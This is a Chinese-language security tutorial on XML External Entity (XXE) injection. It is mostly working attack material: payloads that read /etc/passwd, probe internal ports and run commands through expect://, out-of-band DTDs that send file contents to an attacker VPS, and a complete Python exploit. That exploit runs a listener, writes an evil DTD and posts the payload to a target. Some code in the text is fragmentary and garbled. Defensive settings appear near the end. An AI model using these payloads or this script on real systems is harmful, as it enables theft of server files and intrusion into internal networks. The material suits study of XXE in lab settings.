跟著鬥哥學Python安全開發之XXE漏洞

2021-12-25 國科漏鬥社區

XML是一種類似HTML的標記性語言,用來存儲標記數據、定義數據類型。和html不同的是,xml的根元素和子元素是允許用戶自定義的。 
以下是一段簡單的XML代碼:

<!ELEMENT note (to,from,heading,body)>

<!ELEMENT to      (#PCDATA)>

<!ELEMENT from    (#PCDATA)>

<!ELEMENT heading (#PCDATA)>

<!ELEMENT body    (#PCDATA)>

<heading>Reminder</heading>

<body>Don't forget the meeting!</body>

運行結果如下: 

DTD (Document Type Definition)文檔類型定義

作用:定義XML文檔的合法構建模塊,DTD可以在XML文檔內聲明,也可以在外部引用。

在DTD文檔中使用ENTITY關鍵字來聲明一個實體,格式如下:

通過&實體名稱;進行調用實體

如聲明實體b,b的內容為文檔規範:http: //xx.com/1.dtd

由於外部實體不僅僅支持http協議,還支持其他協議如file。

如果想要系統的學習XML語言可以參考:https://www.w3school.com.cn/xml/xml_intro.asp聲明 DT

XXE Injection (XML External Entity Injection,XML 外部實體注入攻擊)攻擊者可以通過 XML 的外部實體來獲取伺服器中本應被保護的數據。對於XXE漏洞最為關鍵的部分是DTD文檔類型,DTD 的作用是定義 XML 文檔的合法構建模塊。當允許引用外部實體時,通過惡意構造,可以導致任意文件讀取、執行系統命令、探測內網埠、攻擊內網網站等危害。DTD 可以在 XML 文檔內聲明,也可以外部引用;libxml 2.9.1及以後,默認不再解析外部實體。

對於XXE通常有兩種利用方式:有回顯XXE漏洞和無回顯XXE漏洞:

(1)有回顯XXE

攻擊者通過正常的回顯或報錯將外部實體中的內容讀取出來。file 協議讀取文件:

<?xml version="1.0" encoding="utf-8"?>    //xml聲明

     <!ENTITY file SYSTEM "file:///etc/passwd">

(2)無回顯XXE

伺服器沒有回顯,只能使用 Blind XXE 來構建一條帶外數據通道提取數據; Blind XXE 主要使用了 DTD 約束中的參數實體和內部定義實體。參數實體:一個只能在 DTD 中定義和使用的實體,一般引用時用 % 作為前綴; 內部定義實體:在一個實體中定義的一個實體,即嵌套定義:

<?xml version="1.0" encoding="utf-8"?>    //xml聲明

      <!ENTITY  % a "<!ENTITY b 'http://www.xxx.com'>"

Blind XXE 採用嵌套形式建立帶外數據通道,利用參數實體將本地內容讀出來後,作為外部實體中的 URL 中的參數向其指定伺服器發起請求,然後在其指定伺服器的日誌(Apache 日誌)中讀出文件的內容(指定伺服器即攻擊者的伺服器);DTD 中使用 % 來定義的參數實體只能在外部子集中使用,或由外部文件定義參數實體,引用到 XML 文件的 DTD 來使用; 有些解釋器不允許在內層實體中使用外部連接,無論內層是一般實體還是參數實體,所以需要將嵌套的實體聲明放在外部文件中。

3.1 有回顯的XXE漏洞利用

實驗環境可以使用:xxe-labs:c0ny1/xxe-lab: 一個包含php,java,python,C#等各種語言版本的XXE漏洞Demo (github.com),也可以使用vulhub中集成的xxe測試環境。

方式一:通過引用外部實體

(1)任意文件讀取

<?xml version="1.0" encoding="utf-8"?>

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

(2)內網埠探測

<?xml version="1.0" encoding="utf-8"?>

<!ENTITY xxe SYSTEM "http://192.168.0.102:80">]>

<user><username>&xxe;</username><password>admin</password></user>

當訪問存在的22埠時:

當訪問不存在的1433埠時:

也可以通過burpsuite對開放埠進行枚舉。

(3)遠程命令執行

有些情況下攻擊者能夠通過XXE執行代碼,這主要是由於配置不當/開發內部應用導致的。當PHP expect模塊被加載到了易受攻擊的系統或處理XML的內部應用程式上,那麼就可以執行命令:

<?xml version="1.0" encoding="utf-8"?>

<!ENTITY xxe SYSTEM 「expect://id" >]>

</username><password>admin</password></user>

運行結果:

{「error」: 「no results for description uid=0(root) gid=0(root) groups=0(root)…

方式二:通過使用外部參數實體

(1)任意文件讀取

<?xml version="1.0" encoding="utf-8"?>

<!ENTITY  % d  SYSTEM "http://192.168.0.102/xxe/evil.dtd" >

在遠程的VPS伺服器的網站根目錄創建evil.dtd文件,文件內容如下:

<!ENTITY b SYSTEM "file:///etc/passwd">

運行結果如下:

3.2 無回顯的XXE漏洞利用

(1)任意文件讀取

方式一:

將以下xxe.xml保存到vps的伺服器下

"<!ENTITY % send SYSTEM 'http://192.168.0.102/%file;'>" %all;

運行如下代碼:

   <!ENTITY % remote SYSTEM "http://192.168.0.102/xxe/xxe.xml">  

   <!ENTITY % file SYSTEM "file:///etc/passwd">

運行結果如下:

可以發現結果被當作錯誤信息進行返回。

方式二:

在遠程vps上創建一個接收數據的文件的php(get.php),代碼如下:

$content = base64_decode($_GET['file']);

file_put_contents($file , $content);

然後再創建一個evil.dtd文件,代碼如下:

"<!ENTITY % send SYSTEM 'http://192.168.0.102/xxe/get.php?file=%file;'>"

運行如下代碼:

<?xml version="1.0" encoding="utf-8"?>

<!ENTITY  % file  SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">

<!ENTITY  % remote  SYSTEM "http://192.168.0.102/xxe/evil.dtd">

打開vps下的test.txt,可以查看到運行結果。

Python運行環境為:Python3.7

腳本編寫思路如下:

1)首先設置編碼格式,導入需要使用到的庫。

from http.server import HTTPServer, SimpleHTTPRequestHandler

2)通過http.server開啟一個http伺服器,用來監聽目標伺服器返回的數據,代碼如下。)

def StartHTTPServer(listenIp, listenPort):

serverAddr = (listenIp, listenPort)

httpd = HTTPServer(serverAddr, MyHandler)

"[*] 正在開啟HTTP伺服器:\n===================\nIP位址:{0}\n監聽埠:{1}\n===================\n".format(listenIp, listenPort))

3)根據源碼重寫日誌函數,將訪問日誌輸出到終端上,源碼如下。

修改後的代碼如下:

def log_message(self, format, *args):

sys.stderr.write("%s - - [%s] %s\n" %

self.log_date_time_string(),

textFile = open("result.txt", "a")

textFile.write("%s - - [%s] %s\n" %

self.log_date_time_string(),

這段代碼的作用會將IP位址和訪問日誌信息輸出到終端中,並將結果i保存在當前目錄下的result.txt中。

4)然後編寫攻擊Pyload的生成函數,根據給定的IP和埠生成包含而已DTD的XML文件。

def ExploitPayload(listenIp, listenPort):

file = open('evil.xml', 'w')

"<!ENTITY % payload \"<!ENTITY % send SYSTEM 'http://{0}:{1}/?content=%file;'>\"> %payload;".format(listenIp,

print("[*] Payload文件創建成功!")

5)通過POST方法項目標伺服器發送攻擊數據,代碼如下:

def SendData(listenIp, listenPort, targetUrl):

filePath = filePath.replace('\\', "/")

data = "<?xml version=\"1.0\"?>\n<!DOCTYPE test[\n<!ENTITY % file SYSTEM \"php://filter/read=convert.base64-encode/resource={0}\">\n<!ENTITY % dtd SYSTEM \"http://{1}:{2}/evil.xml\">\n%dtd;\n%send;\n]>".format(

filePath, listenIp, listenPort)

requests.post(targetUrl, data=data)

filePath = input("請輸入你要查找的文件路徑:")

6)編寫主函數,進行相關變量的定義以及一些函數的調用

if __name__ == '__main__':

listenIp = "192.168.0.102"

targetUrl = "http://192.168.0.109:8080/dom.php"

ExploitPayload(listenIp, listenPort)

threadHTTP = threading.Thread(target=StartHTTPServer, args=(listenIp, listenPort))

threadPOST = threading.Thread(target=SendData, args=(listenIp, listenPort, targetUrl))

完整代碼如下:

from http.server import HTTPServer, SimpleHTTPRequestHandler

# 對原生的log_message函數進行重寫,在輸出結果的同時把結果保存到文件

class MyHandler(SimpleHTTPRequestHandler):

def log_message(self, format, *args):

sys.stderr.write("%s - - [%s] %s\n" %

self.log_date_time_string(),

textFile = open("result.txt", "a")

textFile.write("%s - - [%s] %s\n" %

self.log_date_time_string(),

def ExploitPayload(listenIp, listenPort):

file = open('evil.xml', 'w')

"<!ENTITY % payload \"<!ENTITY % send SYSTEM 'http://{0}:{1}/?content=%file;'>\"> %payload;".format(listenIp,

print("[*] Payload文件創建成功!")

def StartHTTPServer(listenIp, listenPort):

serverAddr = (listenIp, listenPort)

httpd = HTTPServer(serverAddr, MyHandler)

print("[*] 正在開啟HTTP伺服器:\n===================\nIP位址:{0}\n監聽埠:{1}\n===================\n".format(listenIp, listenPort))

def SendData(listenIp, listenPort, targetUrl):

filePath = filePath.replace('\\', "/")

data = "<?xml version=\"1.0\"?>\n<!DOCTYPE test[\n<!ENTITY % file SYSTEM \"php://filter/read=convert.base64-encode/resource={0}\">\n<!ENTITY % dtd SYSTEM \"http://{1}:{2}/evil.xml\">\n%dtd;\n%send;\n]>".format(

filePath, listenIp, listenPort)

requests.post(targetUrl, data=data)

filePath = input("請輸入你要查找的文件路徑:")

if __name__ == '__main__':

listenIp = "192.168.0.102"

targetUrl = "http://192.168.0.109:8080/dom.php"

ExploitPayload(listenIp, listenPort)

threadHTTP = threading.Thread(target=StartHTTPServer, args=(listenIp, listenPort))

threadPOST = threading.Thread(target=SendData, args=(listenIp, listenPort, targetUrl))

運行結果:

可以看到結果成功在日誌中返回。

將結果放入Burpsuite中進行base64解碼,可以看到/etc/passwd中的密碼成功回顯。

2.5 XXE的防禦

方案一、使用開發語言提供的禁用外部實體的方法

libxml_disable_entity_loader(true);

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案二、過濾用戶提交的XML數據 
關鍵詞如下:

<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

方案三、預定義字符轉義:

1、《Python安全攻防滲透測試實戰指南》 
2、https://www.w3school.com.cn/dtd/index.asp

相關焦點

  • XXE漏洞總結
    由於xxe漏洞主要是利用了 DTD 引用外部實體導致的漏洞,那麼重點看下能引用哪些類型的外部實體。1.3.2外部實體外部實體即在DTD中使用<!Entity Injection即xml外部實體注入漏洞,XXE漏洞發生在應用程式解析XML輸入時,沒有禁止外部實體的加載,xxe漏洞危害導致可加載惡意外部文件,造成文件讀取、命令執行、內網埠掃描、攻擊內網網站、發起dos攻擊等危害。
  • PHP環境 XML外部實體注入漏洞(XXE)
    本文由「網絡安全檢測與防護技術國家地方聯合工程研究中心深圳分中心——東塔網絡安全學院」總結歸納XML由3個部分構成,它們分別是:文檔類型定義
  • Web漏洞|XXE漏洞詳解(XML外部實體注入)
    目錄XXEXXE漏洞演示利用(任意文件讀取)Blind OOB XXE    目錄瀏覽和任意文件讀取    埠掃描    遠程代碼執行XXE漏洞的挖掘XXE的防禦在學習XXE漏洞之前,我們先了解下ENTITY b SYSTEM "file:///etc/passwd">XXE是XML外部實體注入攻擊,XML中可以通過調用實體來請求本地或者遠程內容,和遠程文件保護類似,會引發相關安全問題,例如敏感文件讀取。其中php支持的協議會更多一些,但需要一定的擴展支持以下是一個簡單的XML代碼POST請求示例,上述代碼將交由伺服器的XML處理器解析。代碼被解釋並有回顯數據。
  • XXE漏洞原理
    XML DTD(文檔類型定義)2.xxe漏洞危害利用2.1 文件讀取(有回顯)2.2 文件讀取(無回顯blind xxe)2.3 埠探測2.4命令執行3.ctf題和vulnhub靶場(xxe)3.1 api調用3.2 vulnhub靶場xee防禦簡介
  • XXE 漏洞攻擊淺析
    微信公眾號:計算機與網絡安全ID:Computer-networkXXE攻擊現在越來越多主要的web程序被發現和報告存在XXE(XML External Entity attack)漏洞,比如說facebook、paypal等等。
  • Apache-Poi-XXE-Analysis漏洞分析
    修改 excel 文件中的 [Content_Types].xml 、 /xl/workbook.xml 、 /xl/worksheets/shee1.xml 中均可添加 xxepayload 觸發漏洞,我選擇在 [Content_Types].xml 文件中添加。
  • web安全101之如何理解XXE?
    目前JSON的使用比XML更加普遍JSON和XML都被用於在Ajax模型中的XML技術這種標記語言允許開發人員定義和表示任意數據結構的HTML。SYSTEM 關鍵字的定義)不管是什麼實體(如果用戶可以控制 XML 實體或外部實體的值),則可以基於xml技術後的各種網站業務功能點(比如,實際網站在使用此技術上傳文件)或者此技術的解析引擎來產生各種漏洞。
  • XXE漏洞詳解
    XXE漏洞詳解 1、什麼是XXE普通的XML注入
  • 常見的Web漏洞—XXE(外部實體注入)
    漏洞成因1、沒有過濾用戶提交的XML數據2、使用的開發語言可以解析xml外部實體,如php環境中libxml庫≤2.9.0默認啟用了外部實體PHP漏洞示例代碼:<? php$xml=isset($_POST['xxe'])?
  • 從一道題目學習XXE漏洞
    QQ:1272460312黑客與極客相關,網際網路安全領域裡的熱點話題漏洞、技術相關的調查或分析
  • Web應用常見漏洞淺析:XXE任意文件讀寫漏洞、遠程代碼執行……
    你的Web應用是否存在XXE漏洞?
  • XXE漏洞利用+緩衝區溢出提權:Bsides London VM2017網絡靶機滲透測試
    三、漏洞挖掘(一)先用漏洞掃描工具掃一遍:nikto -h192.168.110.7、nmap --script=vuln192.168.110.7,未發現有趣的東西。ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/apache2/conf-enabled/serve-cgi-bin.conf">]> <aa>&xxe;</aa>2、在攻擊機利用burpsuite抓包,獲得COOKIE:「Cookie:PHPSESSID
  • XXE 打怪升級之路
    xxe 呢?其實 xxe 也是一類注入漏洞,英文全名即 Xml External Entity Injection, 即我們所說的 xml 外部實體注入攻擊。因為實體可以通過預定義在文檔中被調用,而實體的標識符又可以訪問本地或者遠程內容,當允許引用外部實體時,攻擊者便可以構造惡意內容來達到攻擊。
  • 記一次實戰xxe及弱口令爆破學習
    /t/6971邏輯讓我崩潰之驗證碼姿勢分享 : https://xz.aliyun.com/t/4533回到一開始的項目,弱口令登陸後臺之後,第一步當然是找上傳點,找到一個上傳excel文件上傳的。【加分項】1.有高並發tcp服務、分布式、消息隊列等相關經驗者優先;2.在github上有開源安全產品優先;3:有過安全開發經驗、獨自分析過相關開源安全工具、以及參與開發過相關後滲透框架等優先;4.在freebuf、安全客、先知等安全平臺分享過相關技術文章優先;5.具備良好的英語文檔閱讀能力。
  • Solr DIH dataConfig參數XXE漏洞
    在使用solr web控制臺生成core索引的時候,dataConfig參數存在xxe漏洞,攻擊者可以向服務端提交惡意的xml數據,利用惡意xml數據可以讀取被攻擊伺服器的敏感文件、目錄等。漏洞影響版本:Solr 1.2 to 6.6.2Solr 7.0.0 to 7.2.1漏洞原文連結:https://issues.apache.org/jira/browse/SOLR-11971http://seclists.org/oss-sec
  • Apache POI 與 OOB-XXE 組合實戰
    在一次項目中偶然發現了一處excel上傳功能,恰巧碰到Apache POI與OOB-XXE兩種漏洞同時利用成功的情況,實屬幸運,特別將這次滲透過程記錄分享給大家,希望給大家啟發,不足之處也請指教。【加分項】1.有高並發tcp服務、分布式、消息隊列等相關經驗者優先;2.在github上有開源安全產品優先;3:有過安全開發經驗、獨自分析過相關開源安全工具、以及參與開發過相關後滲透框架等優先;4.在freebuf、安全客、先知等安全平臺分享過相關技術文章優先;5.具備良好的英語文檔閱讀能力。
  • DTD 實體 XXE 淺析
    ENTITY  xxe SYSTEM "file:///etc/passwd" >]><hlw>&xxe;</hlw>上述代碼中,XML 的外部實體 「xxe」 被賦予的值為:file:///etc/passwd
  • XXE--實體注入
    也就是說服務端接收和解析了來自用戶端的xml數據,而又沒有做嚴格的安全控制,從而導致xml外部實體注入。現況現在很多語言裡面對應的解析xml的函數默認是禁止解析外部實體內容的,從而也就直接避免了這個漏洞。 以PHP為例,在PHP裡面解析xml用的是libxml,其在≥2.9.0的版本中,默認是禁止解析xml外部實體內容的。
  • 玩轉JSON節點的Content-Type XXE攻擊
    儘管web服務可能在編程時只使用其中一種格式,但伺服器卻可以接受開發人員並沒有預料到的其他數據格式,這就有可能會導致JSON節點受到XXE(XML外部實體)攻擊,[參見安全脈搏《未知攻焉知防——XXE漏洞攻防》],這種攻擊利用了伺服器上脆弱配置的XML解析器。XXE是一種大家所熟知的針對XML節點的攻擊方式。
  • XXE複習&轉載-Nexus3 Pro XXE 分析(CVE-2020-29436)
    三、XML注入1.原理XXE漏洞全稱XML External Entity Injection即xml外部實體注入漏洞,XXE漏洞發生在應用程式解析XML輸入時,沒有禁止外部實體的加載,導致可加載惡意外部文件,造成文件讀取、命令執行、內網埠掃描、攻擊內網網站、發起dos攻擊等危害。